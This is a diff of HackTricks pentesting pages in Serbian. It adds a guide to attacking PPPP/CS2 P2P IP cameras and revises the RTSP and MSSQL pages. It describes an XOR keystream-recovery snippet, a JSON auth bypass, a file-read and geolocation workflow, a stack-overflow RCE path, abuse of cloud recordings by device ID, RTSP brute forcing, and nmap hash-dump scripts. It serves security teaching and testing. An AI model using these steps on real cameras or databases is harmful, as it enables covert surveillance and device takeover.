- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||||
|
|
||||||
## Trainning and Cert
|
## Trening i certifikati
|
||||||
|
|
||||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||||
|
|
||||||
|
BIN
src/images/k8studio.jpg
Normal file
BIN
src/images/k8studio.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 6.5 KiB |
@ -0,0 +1,165 @@
|
|||||||
|
# 32100/UDP - Pentesting PPPP (CS2) P2P kamere
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Pregled
|
||||||
|
|
||||||
|
PPPP (a.k.a. “P2P”) je proprietarni stack za povezivanje uređaja koji razvija CS2 Network i koji je široko ugrađen u jeftine IP kamere i druge IoT uređaje. Omogućava rendezvous, NAT traversal (UDP hole punching), aplikacioni “reliable” stream preko UDP-a i adresiranje zasnovano na ID-u, što omogućava mobilnoj/desktop aplikaciji da dođe do uređaja bilo gde na Internetu poznajući samo device ID.
|
||||||
|
|
||||||
|
Ključne karakteristike relevantne za napadače:
|
||||||
|
- Uređaji se registruju na tri servera za rendezvous kojima upravlja vendor po ID prefiksu. Klijenti upituju iste servere da pronađu eksternu/relay adresu uređaja, a zatim pokušavaju UDP hole punching. Postoji fallback na relay.
|
||||||
|
- Podrazumevani server listener je dostupan preko UDP/32100. Minimalni “hello” probe je dovoljan za fingerprinting servera i nekih uređaja.
|
||||||
|
- Opcioni blanket cipher i specijalni “CRCEnc” režim postoje, ali su slabi po dizajnu i tipično su onemogućeni u popularnim ekosistemima (npr. LookCam).
|
||||||
|
- Kontrolna ravnina je obično JSON komande preko PPPP stream-a i često pati od nedostatka autentikacije i grešaka vezanih za memory-safety.
|
||||||
|
|
||||||
|
Tipičan format device ID-a (LookCam familija): PREFIX-######-CCCCC, skraćeno u aplikacijama (npr. GHBB-000001-NRLXW → G000001NRLXW). Posmatrani prefiksi: BHCC ("hekai"), FHBB i GHBB ("mykj").
|
||||||
|
|
||||||
|
## Otkrivanje i enumeracija
|
||||||
|
|
||||||
|
- Internet exposure: mnogi PPPP super-nodovi odgovaraju na 32100/UDP probe. Known plaintext i error-string odgovori čine ih lakim za identifikaciju u snimcima saobraćaja i uz Internet skenere.
|
||||||
|
- LAN discovery: uređaji često odgovaraju na nešifrovanu pretragu na lokalnom broadcast-u. Koristite Paul Marrapese-ov skript za enumeraciju:
|
||||||
|
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||||
|
|
||||||
|
Napomene:
|
||||||
|
- Aplikacije ugrađuju “init strings” koje sadrže obfuskirane liste IP servera i protocol keys. Ove stringove je trivijalno ekstrahovati iz Android/iOS/Windows klijenata i često se ponovo koriste preko više proizvodnih linija.
|
||||||
|
|
||||||
|
## NAT Traversal i transport
|
||||||
|
|
||||||
|
- Rendezvous servers uče javno mapiranje uređaja putem periodičnih keepalives koje šalje uređaj. Klijenti upituju servere za mapiranje i zatim pokušavaju direktne UDP tokove koristeći hole punching. Ako NAT traversal ne uspe, saobraćaj se relay-uje preko određenih PPPP relay host-ova.
|
||||||
|
- Aplikacioni “stream” implementira sopstvenu ACK/retx logiku preko UDP-a; retransmission petlje su duplicirane kroz mnogo kodnih putanja i mogu preplaviti linkove sa gubitkom paketa.
|
||||||
|
|
||||||
|
## Slabo “šifrovanje” i oporavak ključeva
|
||||||
|
|
||||||
|
U CS2 stack-u postoje dva neučinkovita mehanizma:
|
||||||
|
|
||||||
|
1) Blanket cipher (opciono) – P2P_Proprietary_Encrypt
|
||||||
|
- Obično onemogućen od strane OEM-a koji koriste LookCam.
|
||||||
|
- App-side “init string” obezbeđuje key material koji je reduciran na efektivan 4-byte ključ (~2^32 prostora).
|
||||||
|
- Praktičan known-plaintext: prva 4 bajta MSG_HELLO na UDP/32100 su poznata i iznose F1 00 00 00. Posmatranje jedne enkriptovane ruke omogućava brzo oporavak ili validaciju ključa.
|
||||||
|
- Neke kontrolne poruke (npr. MSG_REPORT_SESSION_READY) su uvek enkriptovane library-hardcoded ključem koji se deli između aplikacija.
|
||||||
|
|
||||||
|
2) Registration “encryption” – PPPP_CRCEnc
|
||||||
|
- Uprkos imenu, ovo nije CRC. To je fiksni ponavljajući XOR keystream sa 4-byte padding proverom (nije autentifikovano).
|
||||||
|
- LookCam mreže tipično koriste CRCEnc samo za device → server registraciju (MSG_DEV_LGN_CRC). Većina ostalog saobraćaja ostaje plaintext.
|
||||||
|
|
||||||
|
Jednostavan oporavak keystrema za PPPP_CRCEnc (Python):
|
||||||
|
```python
|
||||||
|
# ciphertext: captured bytes of an encrypted registration message
|
||||||
|
# known: guessed/known plaintext region (e.g., JSON or constant header)
|
||||||
|
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
|
||||||
|
# Decrypt more bytes by XORing with the repeating keystream
|
||||||
|
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
|
||||||
|
```
|
||||||
|
Nepodudaranje modela pretnje: CS2 materijali se fokusiraju na sprečavanje DoS putem lažnih registracija uređaja, a ne na poverljivost. To objašnjava selektivno „šifrovanje“ registracije dok video/kontrola ostaju opciono ili nešifrovano. Istorijski PPPP serveri ne primenjuju rate limiting, što omogućava brute-force/abuse u velikom obimu.
|
||||||
|
|
||||||
|
## Control Plane: JSON Commands and Auth Bypass
|
||||||
|
|
||||||
|
Mnogi PPPP firmware-i kamera razmenjuju JSON poruke nakon što je sesija uspostavljena. Primer “login” koji klijent šalje:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cmd": "LoginDev",
|
||||||
|
"pwd": "123456"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Uobičajena ranjivost u uređajima klase LookCam:
|
||||||
|
- Firmware ignoriše i LoginDev flow i per-request pwd polja (CWE-287, CWE-306). Uređaj prihvata operativne komande bez validacije lozinke.
|
||||||
|
- Eksploatacija: ne slati LoginDev ili ignorisati njegov rezultat; slati komande direktno.
|
||||||
|
|
||||||
|
Korisne komande uočene:
|
||||||
|
- searchWiFiList – poziva iwlist; ostavlja sirovi izlaz u /tmp/wifi_scan.txt.
|
||||||
|
- DownloadFile – primitiv za čitanje proizvoljne putanje bez ograničenja.
|
||||||
|
|
||||||
|
Tok rada za deanonimizaciju lokacije preko privremenih artefakata:
|
||||||
|
1) Pošaljite {"cmd":"searchWiFiList"}.
|
||||||
|
2) Pročitajte /tmp/wifi_scan.txt pomoću DownloadFile.
|
||||||
|
3) Pošaljite BSSID MAC adrese geolocation API-ju (npr. Google Geolocation API) kako biste lokalizovali kameru s tačnošću od nekoliko desetina metara.
|
||||||
|
|
||||||
|
## Od problema sa sigurnošću memorije do RCE na ugrađenom firmware-u
|
||||||
|
|
||||||
|
Tipičan nesiguran obrazac (pseudokod iz handlers-a):
|
||||||
|
```c
|
||||||
|
char buf[256];
|
||||||
|
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
|
||||||
|
memset(buf, 0, sizeof(buf));
|
||||||
|
memcpy(buf, cmd, strlen(cmd)); // no bound check
|
||||||
|
```
|
||||||
|
- Trigger: bilo koji cmd string > 255 bytes izaziva stack buffer overflow (CWE-120/121).
|
||||||
|
- Protections: nema stack canary; DEP/NX i ASLR su često onemogućeni na ovim buildovima.
|
||||||
|
- Impact: straightforward single-stage shellcode or classic ROP/ret2libc na CPU uređaja (npr. ARM) za potpuni kompromis i LAN pivoting.
|
||||||
|
|
||||||
|
See also:
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../binary-exploitation/stack-overflow/README.md
|
||||||
|
{{#endref}}
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## Cloud Storage Abuse (HTTP, Device-ID only)
|
||||||
|
|
||||||
|
Mnogi firmware-i brendirani kao LookCam otpremaju snimke na api.l040z.com (apicn.l040z.com za BHCC) isključivo preko HTTP-a. Zapažanja:
|
||||||
|
- Nema TLS u firmware-u; transport je nešifrovani HTTP.
|
||||||
|
- API “authentication” je samo device-ID: bilo ko ko zna ID može preuzeti snimke.
|
||||||
|
- 5 MiB chunking je hardkodiran.
|
||||||
|
- Remote enablement: pri bootu uređaj poziva http://api.l040z.com/camera/signurl; odgovor servera odlučuje da li otpremanja počinju. Mobilna aplikacija može prikazivati cloud “disabled” čak i kada se otpremanja dešavaju. Treća strana može kupiti/omogućiti cloud za žrtvin ID i tihi prikupljati snimke.
|
||||||
|
|
||||||
|
Ovo je klasično prenošenje osetljivih podataka u čistom tekstu (CWE-319) sa nedostatkom server-side authZ.
|
||||||
|
|
||||||
|
## Device-ID Enumeration and Guessing
|
||||||
|
|
||||||
|
- ID format: PREFIX-######-CCCCC i app-skraćeni oblik (npr. GHBB-000001-NRLXW → G000001NRLXW).
|
||||||
|
- Prefix families: BHCC (hekai servers), FHBB i GHBB (mykj servers). Svaki prefix mapira na tri rendezvous servera za HA.
|
||||||
|
- The 5-letter verifier koristi alfabet od 22 velika slova (izuzeti A, I, O, Q) → 22^5 ≈ 5.15M kombinacija po numeričkoj osnovi.
|
||||||
|
- Ranija istraživanja su primetila da nema server-side rate-limiting-a, što čini distribuirano pogađanje praktičnim. Verifier algoritam je prilagođen i verovatno pogađiv ili se može dobiti reverziranjem aplikacija/firmware-a.
|
||||||
|
|
||||||
|
Praktični izvori ID-ova:
|
||||||
|
- Prikazani širom zvaničnih aplikacija i često procureli u korisničkim screenshotovima/video snimcima.
|
||||||
|
- AP mode SSID je jednak device ID-u; mnogi uređaji izlažu otvoreni AP tokom onboarding-a.
|
||||||
|
|
||||||
|
## Forcing Remote Reachability
|
||||||
|
|
||||||
|
Neki firmware-i se restartuju u petlji dok rendezvous serveri ne postanu dostupni. Ako je egress blokiran, uređaj će ostati u ciklusu restartovanja, efektivno primoravajući vlasnike da ga ostave dostupnim na Internetu i izloženim PPPP rendezvous.
|
||||||
|
|
||||||
|
## Practical Exploitation Playbook (for repro/defense testing)
|
||||||
|
|
||||||
|
1) Obtain device ID
|
||||||
|
- Iz app UI ili AP SSID; inače numerišite PREFIX+number i bruteforce-ujte 22^5 verifier prostor.
|
||||||
|
|
||||||
|
2) Establish PPPP session
|
||||||
|
- Koristite CS2 PPPP client ili custom kod; izvući liste server IP-ova i init ključeve iz app init stringa; pokušajte UDP hole punching; fallback na relay.
|
||||||
|
|
||||||
|
3) Bypass auth
|
||||||
|
- Preskočite LoginDev ili ignorišite njegov rezultat; pošaljite operational JSON direktno.
|
||||||
|
|
||||||
|
4) Exfiltrate files / geo-locate
|
||||||
|
- Pošaljite {"cmd":"searchWiFiList"}; zatim DownloadFile "/tmp/wifi_scan.txt"; pošaljite BSSIDs geolocation API-ju.
|
||||||
|
|
||||||
|
5) Achieve RCE
|
||||||
|
- Pošaljite cmd > 255 bytes da pokrenete stack overflow; napravite ROP/ret2libc ili ubacite shellcode (nema canary/DEP/ASLR).
|
||||||
|
|
||||||
|
6) Cloud access
|
||||||
|
- Interagujte sa api.l040z.com endpointima koristeći samo device ID; imajte na umu 5 MiB chunking; cloud enablement kontroliše /camera/signurl bez obzira na stanje app UI-ja.
|
||||||
|
|
||||||
|
## Related Protocols/Services
|
||||||
|
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
554-8554-pentesting-rtsp.md
|
||||||
|
{{#endref}}
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../generic-methodologies-and-resources/pentesting-wifi/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
|
||||||
|
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||||
|
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
|
||||||
|
- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
|
||||||
|
- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
|
||||||
|
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
@ -4,34 +4,34 @@
|
|||||||
|
|
||||||
## Osnovne informacije
|
## Osnovne informacije
|
||||||
|
|
||||||
Sa [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
|
Iz [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
|
||||||
|
|
||||||
> **Real Time Streaming Protocol** (**RTSP**) je protokol za kontrolu mreže dizajniran za korišćenje u sistemima zabave i komunikacija za kontrolu servera za strimovanje medija. Protokol se koristi za uspostavljanje i kontrolu medijskih sesija između krajnjih tačaka. Klijenti medijskih servera izdaju komande u stilu VHS, kao što su reprodukcija, snimanje i pauza, kako bi olakšali real-time kontrolu medija koji se strimuje sa servera na klijenta (Video Na Zahtev) ili sa klijenta na server (Snimanje Glasa).
|
> The **Real Time Streaming Protocol** (**RTSP**) je mrežni kontrolni protokol dizajniran za upotrebu u zabavnim i komunikacionim sistemima za kontrolu streaming media servera. Protokol se koristi za uspostavljanje i kontrolu media sesija između krajnjih tačaka. Klijenti media servera izdaju VHS-stil komande, kao što su play, record i pause, kako bi omogućili kontrolu strimovanja medija u realnom vremenu od servera ka klijentu (Video On Demand) ili od klijenta ka serveru (Voice Recording).
|
||||||
>
|
>
|
||||||
> Prenos strimovanih podataka sam po sebi nije zadatak RTSP-a. Većina RTSP servera koristi Protokol za prenos u realnom vremenu (RTP) u kombinaciji sa Protokolom za kontrolu u realnom vremenu (RTCP) za isporuku medijskog strima. Međutim, neki dobavljači implementiraju vlasničke transportne protokole. Softver RTSP servera od RealNetworks, na primer, takođe koristi vlasnički Real Data Transport (RDT) od RealNetworks.
|
> Prenos samih streaming podataka nije zadatak RTSP-a. Većina RTSP servera koristi Real-time Transport Protocol (RTP) u kombinaciji sa Real-time Control Protocol (RTCP) za isporuku media streama. Međutim, neki proizvođači implementiraju proprietarne transport protokole. RTSP server softver iz RealNetworks, na primer, takođe je koristio RealNetworks' proprietarni Real Data Transport (RDT).
|
||||||
|
|
||||||
**Podrazumevani portovi:** 554,8554
|
**Default ports:** 554,8554
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
554/tcp open rtsp
|
554/tcp open rtsp
|
||||||
```
|
```
|
||||||
## Ključni detalji
|
## Ključni detalji
|
||||||
|
|
||||||
**RTSP** je sličan HTTP-u, ali je posebno dizajniran za strimovanje medija. Definisan je u jednostavnoj specifikaciji koja se može pronaći ovde:
|
**RTSP** je sličan HTTP-u, ali je dizajniran posebno za streamovanje medija. Definisan je u jednostavnoj specifikaciji koja se može naći ovde:
|
||||||
|
|
||||||
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||||
|
|
||||||
Uređaji mogu omogućiti **neautentifikovani** ili **autentifikovani** pristup. Da biste proverili, šalje se "DESCRIBE" zahtev. Osnovni primer je prikazan ispod:
|
Uređaji mogu dozvoliti **neautentifikovan** ili **autentifikovan** pristup. Da biste proverili, šalje se zahtev "DESCRIBE". Osnovni primer je prikazan ispod:
|
||||||
|
|
||||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
|
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
|
||||||
|
|
||||||
Zapamtite, ispravno formatiranje uključuje dupli "\r\n" za dosledan odgovor. Odgovor "200 OK" označava **neautentifikovani pristup**, dok "401 Unauthorized" signalizira potrebu za autentifikacijom, otkrivajući da li je potrebna **Basic** ili **Digest authentication**.
|
Zapamtite, ispravan format uključuje dvostruki "\r\n" za konzistentan odgovor. Odgovor "200 OK" označava **neautentifikovan pristup**, dok "401 Unauthorized" signalizira potrebu za autentifikacijom, otkrivajući da li je potrebna **Basic** ili **Digest authentication**.
|
||||||
|
|
||||||
Za **Basic authentication**, kodirate korisničko ime i lozinku u base64 i uključujete ih u zahtev na sledeći način:
|
Za **Basic authentication**, enkodirate korisničko ime i lozinku u base64 i uključite ih u zahtev ovako:
|
||||||
|
|
||||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
|
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
|
||||||
|
|
||||||
Ovaj primer koristi "admin" i "1234" za akreditive. Evo **Python skripte** za slanje takvog zahteva:
|
U ovom primeru koriste se "admin" i "1234" kao kredencijali. Evo **Python script** za slanje takvog zahteva:
|
||||||
```python
|
```python
|
||||||
import socket
|
import socket
|
||||||
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
||||||
@ -41,42 +41,48 @@ s.sendall(req)
|
|||||||
data = s.recv(1024)
|
data = s.recv(1024)
|
||||||
print(data)
|
print(data)
|
||||||
```
|
```
|
||||||
**Osnovna autentifikacija** je jednostavnija i poželjnija. **Digest autentifikacija** zahteva pažljivo rukovanje detaljima autentifikacije koji su dati u "401 Unauthorized" odgovoru.
|
**Basic authentication** je jednostavnija i poželjnija. **Digest authentication** zahteva pažljivo rukovanje detaljima autentifikacije navedenim u odgovoru "401 Unauthorized".
|
||||||
|
|
||||||
Ovaj pregled pojednostavljuje proces pristupa RTSP tokovima, fokusirajući se na **Osnovnu autentifikaciju** zbog njene jednostavnosti i praktičnosti u početnim pokušajima.
|
Ovaj pregled pojednostavljuje proces pristupa RTSP streamovima, fokusirajući se na **Basic authentication** zbog njegove jednostavnosti i praktičnosti u početnim pokušajima.
|
||||||
|
|
||||||
## Enumeracija
|
## Enumeration
|
||||||
|
|
||||||
Hajde da dobijemo informacije o validnim metodama i URL-ovima koji su podržani i pokušamo da brute-force pristup (ako je potrebno) da bismo dobili pristup sadržaju.
|
Hajde da prikupimo informacije o validnim metodama i URL-ovima koji su podržani i, po potrebi, pokušamo brute-force pristup da bismo dobili pristup sadržaju.
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
#### Pregled RTSP strima sa [ffplay](https://ffmpeg.org/ffplay.html)
|
#### Pregled RTSP streama pomoću [ffplay](https://ffmpeg.org/ffplay.html)
|
||||||
Kada otkrijete validan RTSP put (npr., `/mpeg4`, `/live.sdp`) i potvrdite pristup (neautentifikovan ili sa kredencijalima), možete koristiti `ffplay` za strimovanje feed-a:
|
Kada otkrijete važeći RTSP put (npr. `/mpeg4`, `/live.sdp`) i potvrdite pristup (unauthenticated or with credentials), možete koristiti `ffplay` za reprodukciju feeda:
|
||||||
```bash
|
```bash
|
||||||
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
|
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
|
||||||
```
|
```
|
||||||
- `-rtsp_transport tcp`: Koristite TCP umesto UDP za pouzdanije strimovanje
|
- `-rtsp_transport tcp`: Koristi TCP umesto UDP za pouzdanije streamovanje
|
||||||
- `-x`, `-y`: Opcione zastavice za kontrolu rezolucije videa
|
- `-x`, `-y`: Opcioni parametri za kontrolu rezolucije videa
|
||||||
- Zamenite `<IP>` i putanju po potrebi
|
- Replace `<IP>` and path as needed
|
||||||
|
|
||||||
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
|
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
|
||||||
|
|
||||||
### **Ostali korisni programi**
|
### **Drugi korisni programi**
|
||||||
|
|
||||||
Za bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
||||||
|
|
||||||
[**Cameradar**](https://github.com/Ullaakut/cameradar)
|
[**Cameradar**](https://github.com/Ullaakut/cameradar)
|
||||||
|
|
||||||
- Otkrivanje otvorenih RTSP hostova na bilo kojem dostupnom cilju
|
- Otkriva otvorene RTSP hostove na bilo kojem dostupnom cilju
|
||||||
- Dobijanje njihovih javnih informacija (hostname, port, model kamere, itd.)
|
- Dohvata njihove javne informacije (hostname, port, camera model, itd.)
|
||||||
- Pokretanje automatizovanih napada rečnikom za dobijanje njihove strim rute (na primer /live.sdp)
|
- Pokreće automatizovane dictionary attacks da dobije stream route (na primer /live.sdp)
|
||||||
- Pokretanje automatizovanih napada rečnikom za dobijanje korisničkog imena i lozinke kamera
|
- Pokreće automatizovane dictionary attacks da dobije username i password kamera
|
||||||
- Generisanje sličica iz njih kako bi se proverilo da li su strimovi validni i da bi se dobio brzi pregled njihovog sadržaja
|
- Generiše thumbnails iz njih da bi proverio da li su streamovi validni i da bi imao brz pregled njihovog sadržaja
|
||||||
- Pokušaj kreiranja Gstreamer pipeline-a da se proveri da li su ispravno kodirani
|
- Pokušava da kreira Gstreamer pipeline da proveri da li su pravilno encoded
|
||||||
- Ispisivanje sažetka svih informacija koje je Cameradar mogao da dobije
|
- Ispisuje rezime svih informacija koje je Cameradar mogao da dobije
|
||||||
|
|
||||||
## References
|
### Pogledaj takođe
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
|
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
|
||||||
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||||
|
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## Osnovne informacije
|
## Osnovne informacije
|
||||||
|
|
||||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
Iz [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||||
|
|
||||||
> **Microsoft SQL Server** je **sistem za upravljanje relacionim bazama podataka** koji je razvio Microsoft. Kao server baze podataka, to je softverski proizvod čija je primarna funkcija skladištenje i preuzimanje podataka na zahtev drugih softverskih aplikacija—koje mogu raditi ili na istom računaru ili na drugom računaru preko mreže (uključujući Internet).
|
> **Microsoft SQL Server** je sistem za upravljanje relacionim bazama podataka razvijen od strane Microsoft-a. Kao serverska baza podataka, to je softverski proizvod čija je primarna funkcija skladištenje i preuzimanje podataka na zahtev drugih softverskih aplikacija — koje mogu da rade ili na istom računaru ili na drugom računaru preko mreže (uključujući Internet).
|
||||||
|
|
||||||
**Podrazumevani port:** 1433
|
**Podrazumevani port:** 1433
|
||||||
```
|
```
|
||||||
@ -14,25 +14,25 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
|||||||
```
|
```
|
||||||
### **Podrazumevane MS-SQL sistemske tabele**
|
### **Podrazumevane MS-SQL sistemske tabele**
|
||||||
|
|
||||||
- **master Database**: Ova baza podataka je ključna jer beleži sve sistemske detalje za SQL Server instancu.
|
- **master Database**: Ova baza je ključna jer beleži sve sistemske detalje za instancu SQL Servera.
|
||||||
- **msdb Database**: SQL Server Agent koristi ovu bazu podataka za upravljanje rasporedom za upozorenja i poslove.
|
- **msdb Database**: SQL Server Agent koristi ovu bazu za upravljanje rasporedom upozorenja i poslova.
|
||||||
- **model Database**: Deluje kao plan za svaku novu bazu podataka na SQL Server instanci, gde se sve izmene poput veličine, kolacije, modela oporavka i drugih odražavaju u novokreiranim bazama podataka.
|
- **model Database**: Služi kao šablon za svaku novu bazu podataka na instanci SQL Servera; sve izmene poput veličine, collation-a, recovery model-a i slično se preslikavaju u novo kreiranim bazama.
|
||||||
- **Resource Database**: Baza podataka samo za čitanje koja sadrži sistemske objekte koji dolaze sa SQL Server-om. Ovi objekti, iako fizički smešteni u Resource bazi podataka, logički su predstavljeni u sys šemi svake baze podataka.
|
- **Resource Database**: Baza samo za čitanje koja sadrži sistemske objekte koji dolaze uz SQL Server. Ti objekti, iako su fizički smešteni u Resource bazi, logički se prikazuju u sys šemi svake baze.
|
||||||
- **tempdb Database**: Služi kao privremeno skladište za prolazne objekte ili međurezultate.
|
- **tempdb Database**: Služi kao privremeni prostor za skladištenje za privremene objekte ili međurezultate.
|
||||||
|
|
||||||
## Enumeracija
|
## Enumeracija
|
||||||
|
|
||||||
### Automatska enumeracija
|
### Automatska enumeracija
|
||||||
|
|
||||||
Ako ne znate ništa o usluzi:
|
Ako ne znate ništa o servisu:
|
||||||
```bash
|
```bash
|
||||||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Ako **nemate** **akreditiv** možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako nekoliko puta neuspešno pokušate prijavu koristeći postojeće korisničko ime.
|
> Ako **nemate** **credentials**, možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako se ne uspete prijaviti više puta koristeći postojeće korisničko ime.
|
||||||
|
|
||||||
#### Metasploit (potrebni akreditivi)
|
#### Metasploit (need creds)
|
||||||
```bash
|
```bash
|
||||||
#Set USERNAME, RHOSTS and PASSWORD
|
#Set USERNAME, RHOSTS and PASSWORD
|
||||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||||
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
|||||||
1> select 1;
|
1> select 1;
|
||||||
2> go
|
2> go
|
||||||
```
|
```
|
||||||
#### Uobičajena Enumeracija
|
#### Uobičajena Enumeration
|
||||||
```sql
|
```sql
|
||||||
# Get version
|
# Get version
|
||||||
select @@version;
|
select @@version;
|
||||||
@ -129,7 +129,7 @@ enum_links
|
|||||||
#Use a link
|
#Use a link
|
||||||
use_link [NAME]
|
use_link [NAME]
|
||||||
```
|
```
|
||||||
#### Dobijanje korisnika
|
#### Dohvati korisnika
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -156,14 +156,14 @@ SELECT * FROM sysusers
|
|||||||
```
|
```
|
||||||
#### Dobijanje dozvola
|
#### Dobijanje dozvola
|
||||||
|
|
||||||
1. **Securable:** Definisano kao resursi kojima upravlja SQL Server za kontrolu pristupa. Ovi su kategorizovani u:
|
1. **Securable:** Definisano kao resursi kojima SQL Server upravlja za kontrolu pristupa. Oni su razvrstani u sledeće kategorije:
|
||||||
- **Server** – Primeri uključuju baze podataka, prijave, krajnje tačke, grupe dostupnosti i server uloge.
|
- **Server** – Primeri uključuju baze podataka, logine, endpoint-e, availability groups i server role.
|
||||||
- **Database** – Primeri obuhvataju uloge baze podataka, aplikacione uloge, šeme, sertifikate, kataloge punog teksta i korisnike.
|
